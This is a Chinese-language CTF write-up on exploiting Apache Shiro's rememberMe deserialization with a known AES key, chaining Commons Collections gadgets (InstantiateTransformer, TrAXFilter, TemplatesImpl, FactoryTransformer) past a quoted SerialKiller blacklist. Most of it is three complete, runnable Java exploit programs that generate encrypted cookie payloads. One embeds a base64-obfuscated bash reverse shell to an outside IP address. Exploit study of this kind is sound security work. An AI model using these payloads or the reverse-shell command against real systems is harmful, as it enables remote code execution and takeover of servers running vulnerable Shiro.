车联网java题

这是一道shrio框架下反序列化的java题目,当时没打这个比赛,赛后来自己做下这个题目。个人感觉这道题很好的考察了关于CC链配合java8高版本的各种灵活运用。并且如果在初步调试了各个cc链之后,再来看这道题,能让本java废物对于CC的各个经典链子有更加熟悉的理解了。

附一张cc依赖各种链子的调用图

在这里插入图片描述

ezcc

一些参考文章

关于shrio的些东西

原理分析:根据shiro分析可以得到,主要存在几个重要的点:

rememberMe cookie

CookieRememberMeManager.java

Base64

AES

加密密钥硬编码

Java serialization

1.首先正常登录,然后生成带有rememberme的返回cookie值。

2.生成cookie,shiro会提供rememberme功能,可以通过cookie记录登录用户,从而记录登录用户的身份认证信息,即下次无需登录即可访问。处理rememberme的cookie的类为org.apache.shiro.web.mgt.CookieRememberMeManager

3.之后进入serialize,对登录认证信息进行序列化

4.然后加密,调用aes算法。

5.加密结束,然后在在org/apache/shiro/web/mgt/CookieRememberMeManager.java的rememberSerializedIdentity方法中进行base64编码,并通过response返回

6.解析cookie

7.先解密在反序列化

8.AES是对称加密,加解密密钥都是相同的,并且shiro都是将密钥硬编码

9.调用crypt方法利用密文,key,iv进行解密,解密完成后进入反序列化,看上面的public AbstractRememberMeManager()这里用的是默认反序列化类,然后触发生成反序列化。

题解分析

禁用的类

1
2
3
4
5
6
<blacklist>
<regexp>^org\.apache\.commons\.collections\.functors\.InvokerTransformer$</regexp>
<regexp>^org\.apache\.commons\.beanutils\.BeanComparator$</regexp>
<regexp>^org\.apache\.commons\.collections\.functors\.ConstantTransformer$</regexp>
<regexp>^java\.rmi\.server\.RemoteObjectInvocationHandler$</regexp>
</blacklist>

首先shrio框架可以在org.apache.shiro.mgt.AbstractRememberMeManager类中找到密钥kPH+bIxk5D2deZiIxcaaaA==。然后这题很明显就是寻找反序列化链子,查看依赖发现可利用的有commons-collections3commons-beanutils,但是在sk里面ban了InvokerTransformer$,ConstantTransformer$,BeanComparator$,这些类,所以需要找到可以替换的类。

关于InvokerTransformer,可以替换成InstantiateTransformer

在这里插入图片描述

然后我们注意到题目是tomcat服务,那么就存在TemplatesImpl 这个利用点,然后还需要一个链来触发TemplatesImpl newTransformer函数。所以如何触发newTransformer函数就成了关键。而熟悉的话就能想到TrAXFilter这个经常和TemplatesImpl 出现在一起的类。

image-20220524193059221

思路一(BadAttributeValueExpException+jdkLazyMap)

因为我对这个类很熟悉所以第一时间想到的只有这个类了。然后可以拼接JDK1.8--LazyMap利用链。通常的一个JDK1.8–LazyMap利用链如下

1
2
3
4
5
6
反序列化BadAttributeValueExpException
->BadAttributeValueExpException.readObject()
->TiedMapEntry.toString()
->TiedMapEntry.getValue()
->LazyMap.get()
->ChainedTransformer.transform()

我们将

1
2
3
4
5
6
->ChainedTransformer.transform()
这里替换成
->InstantiateTransformer.transform()
->TrAXFilter.TrAXFilter()
->TemplatesImpl.newInstance()
即可

最终的调用栈就是

1
2
3
4
5
6
7
->BadAttributeValueExpException.readObject()
->TiedMapEntry.toString()
->TiedMapEntry.getValue()
->LazyMap.get()
->InstantiateTransformer.transform()
->TrAXFilter.TrAXFilter()
->TemplatesImpl.newInstance()

编写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
public class test2 {
public static void main(String[] args) throws Exception {
System.setProperty("org.apache.commons.collections.enableUnsafeSerialization","true");
//生成恶意代码
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass("payload");
CtClass superClass = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
byte[] bytes = ctClass.toBytecode();
ctClass.writeFile();

//生成templatesImpl类
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "a");
setFieldValue(templatesImpl, "_tfactory", null);

final Map innerMap = new HashMap();

ConstantTransformer constantTransformer = new ConstantTransformer(1);

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[] { templatesImpl });

final Map lazyMap = LazyMap.decorate(innerMap, constantTransformer);

//将map设置为LazyMap,key设为TrAXFilter.class为了后续可以调用TrAXFilter的初始化方法从而执行TemplatesImpl.transformer()函数
TiedMapEntry tideMapEntry = new TiedMapEntry(lazyMap, TrAXFilter.class);

//避免map.containsKey(key)为True,无法进入if循环,也就无法触发transform
lazyMap.clear();

Field field = LazyMap.class.getDeclaredField("factory");
field.setAccessible(true);
field.set(lazyMap,instantiateTransformer);

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field f = badAttributeValueExpException.getClass().getDeclaredField("val");
f.setAccessible(true);
f.set(badAttributeValueExpException,tideMapEntry);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(badAttributeValueExpException);
oos.close();


ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream objectInputStream = new ObjectInputStream(in);
objectInputStream.readObject();
objectInputStream.close();

byte[] payloads = barr.toByteArray();
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("7Bhs26ccN6i/0AT9GhZULF==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());

}
public static void setFieldValue(Object obj,String key, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(key);
field.setAccessible(true);
field.set(obj,value);
}
}

image-20220524123747069

思路二(官方wp)JDK1.8-LazyMap+HashMap

这里同样需要拼接JDK1.8-LazyMap,但是不同于上面就是没有使用BadAttributeValueExpException这个类。而是用了HashMap来触发

我是并没有想到用TiedMapEntry,虽然调试过,但可能就是浮于表面不熟悉,不太能灵活的运用。

JDK1.8–LazyMap利用链原本如下。其实就是为了解决Java高版本利用问题,需要在找上下文中是否还有其他调用LazyMap#get()的地方。

不同于上面的调用链的前半部分,这个链子是通过TiedMapEntry来调用LazyMap#get()。所以我们只需要更改后半部分的恶意代码执行类就行了。

1
2
3
4
5
6
7
8
9
10
11
12
13
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
*/

更改完的调用链,区别就在于前半部分

1
2
3
4
5
6
7
8
9
readObject()
->java.util.HashMap.put()
->java.util.HashMap.hash()
->org.apache.commons.collections.keyvalue.TiedMapEntry.hashcode()
->org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
->org.apache.commons.collections.map.LazyMap.get()
->org.apache.commons.collections.functors.InstantiateTransformer.transform()
->com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.TrAXFilter()
->com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer()

这里就不调试了,exp如下:

这里有个细节就是需要先设置一个无关紧要的transformer,最后再替换就行,防止expMap.put()操作发生报错。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
package ezcc.exp;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import javax.xml.transform.Templates;

public class test {
public static void main(String[] args) throws Exception {
System.setProperty("org.apache.commons.collections.enableUnsafeSerialization","true");
//生成恶意代码
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass("payload");
CtClass superClass = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody("Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDcuMjM5LjMwLzIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}\");");
byte[] bytes = ctClass.toBytecode();
ctClass.writeFile();

//生成templatesImpl类
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "a");
setFieldValue(templatesImpl, "_tfactory", null);

final Map innerMap = new HashMap();

//防止expMap.put()操作发生报错,需要先用一个无关紧要的Transformer类
ConstantTransformer constantTransformer = new ConstantTransformer(1);

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[] { templatesImpl });

final Map lazyMap = LazyMap.decorate(innerMap, constantTransformer);

//将map设置为LazyMap,key设为TrAXFilter.class为了后续可以调用TrAXFilter的初始化方法从而执行TemplatesImpl.transformer()函数
TiedMapEntry tideMapEntry = new TiedMapEntry(lazyMap,TrAXFilter.class);

final HashMap expMap = new HashMap();
expMap.put(tideMapEntry,"kkfine");

//避免map.containsKey(key)为True,无法进入if循环,也就无法触发transform
lazyMap.clear();

Field field = LazyMap.class.getDeclaredField("factory");
field.setAccessible(true);
field.set(lazyMap,instantiateTransformer);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();


// ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());
// ObjectInputStream objectInputStream = new ObjectInputStream(in);
// objectInputStream.readObject();
// objectInputStream.close();

byte[] payloads = barr.toByteArray();
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("7Bhs26ccN6i/0AT9GhZULF==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());

}
private static void Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
System.out.println(s.length());
}
public static void setFieldValue(Object obj,String key, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(key);
field.setAccessible(true);
field.set(obj,value);
}
}

image-20220524124142763

思路三(接一二)

改造CC3,原本的cc3调用链如图。这里我们能够很显然想到将ChainedTransformerConstatTransformer这两个无关的类直接去掉不就行了。由于JDK8版本改写了AnnotationInvocationHandler类的readobject方法,所以使用AnnotationInvocationHandler这个类还是不可行。其实这里其实就回归到了思路一的问题了,这里是java8的版本。然后最终也也就回到了上面两个思路上,因为前两个思路其实都是在这条链上对于前半部分的处理不同。

image-20220524003152646

在这里插入图片描述

思路四(寻找CC链之外的类)

寻找CC链之外的类,这个就比较进阶了,需要自己找链子。对于本菜鸡来讲还触摸不到,但是由于看了前段时间MRCTF一些大佬的wp发现可以直接利用。

这里用的是Y4tacker大佬的链子也能直接打。

https://github.com/Y4tacker/CTFBackup/tree/main/2022/2022MRCTF

因为MRCTF那道题的过滤非常严格,基本上把能用的CC链的类都给ban掉了,具体可见

1
2
3
4
5
6
<blacklist>
<!-- ysoserial's CommonsCollections1,3,5,6 payload -->
<regexp>org\.apache\.commons\.collections\.Transformer$</regexp> <regexp>org\.apache\.commons\.collections\.functors\.InvokerTransformer$</regexp> <regexp>org\.apache\.commons\.collections\.functors\.ChainedTransformer$</regexp> <regexp>org\.apache\.commons\.collections\.functors\.ConstantTransformer$</regexp> <regexp>org\.apache\.commons\.collections\.functors\.InstantiateTransformer$</regexp>
<!-- ysoserial's CommonsCollections2,4 payload -->
<regexp>org\.apache\.commons\.collections4\.functors\.InvokerTransformer$</regexp> <regexp>org\.apache\.commons\.collections4\.functors\.ChainedTransformer$</regexp> <regexp>org\.apache\.commons\.collections4\.functors\.ConstantTransformer$</regexp> <regexp>org\.apache\.commons\.collections4\.functors\.InstantiateTransformer$</regexp> <regexp>org\.apache\.commons\.collections4\.comparators\.TransformingComparator$</regexp>
</blacklist>

所以这里需要找到另外的类来替换,不过那题其实预期解是aspectJweaver任意写fat jar 触发rce。这里根据大佬解法提到了三个类

FactoryTransformer

这个类的内容很简单,transform方法可以调用Factory子类的create()方法

在这里插入图片描述

ConstantFactory

这个类可以返回任意类,可替换ConstantTransformer。不过这里其实用不上这个

在这里插入图片描述

InstantiateFactory

这个类里就有create()方法,并且可以实例化任意类,是不是发现和InstantiateTransformer很相似。

在这里插入图片描述

调用链

后半部分就可以拼接TrAXFilterTemplatesImpl那一部分来执行恶意代码。具体整理调用链如下

1
2
3
4
5
6
7
8
9
10
readObject()
->java.util.HashMap.put()
->java.util.HashMap.hash()
->org.apache.commons.collections.keyvalue.TiedMapEntry.hashcode()
->org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
->org.apache.commons.collections.map.LazyMap.get()
->org.apache.commons.collections.functors.FactoryTransformer.transform()
->org.apache.commons.collections.functors.InstantiateFactory->create()
->com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.TrAXFilter()
->com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer()

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package ezcc.exp;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InstantiateFactory;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import org.nibblesec.tools.SerialKiller;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class test3 {
public static void main(String[] args) throws Exception{
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(HelloTemplatesImpl.class.getName()).toBytecode( )
});
setFieldValue(obj, "_name", "1");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
InstantiateFactory instantiateFactory;
instantiateFactory = new InstantiateFactory(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.class,new Class[]{javax.xml.transform.Templates.class},new Object[]{obj});

FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory);
ConstantTransformer constantTransformer = new ConstantTransformer(1);
Map innerMap = new HashMap();
LazyMap outerMap = (LazyMap)LazyMap.decorate(innerMap, constantTransformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
setFieldValue(outerMap,"factory",factoryTransformer);
outerMap.remove("keykey");

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(expMap);
objectOutputStream.close();

byte[] payloads = byteArrayOutputStream.toByteArray();
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("7Bhs26ccN6i/0AT9GhZULF==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream ois = new SerialKiller(byteArrayInputStream, "F:\\javaweb\\cvdd_ezcc\\src\\main\\resources\\serialkiller.conf");
ois.readObject();
ois.close();

}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}



本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!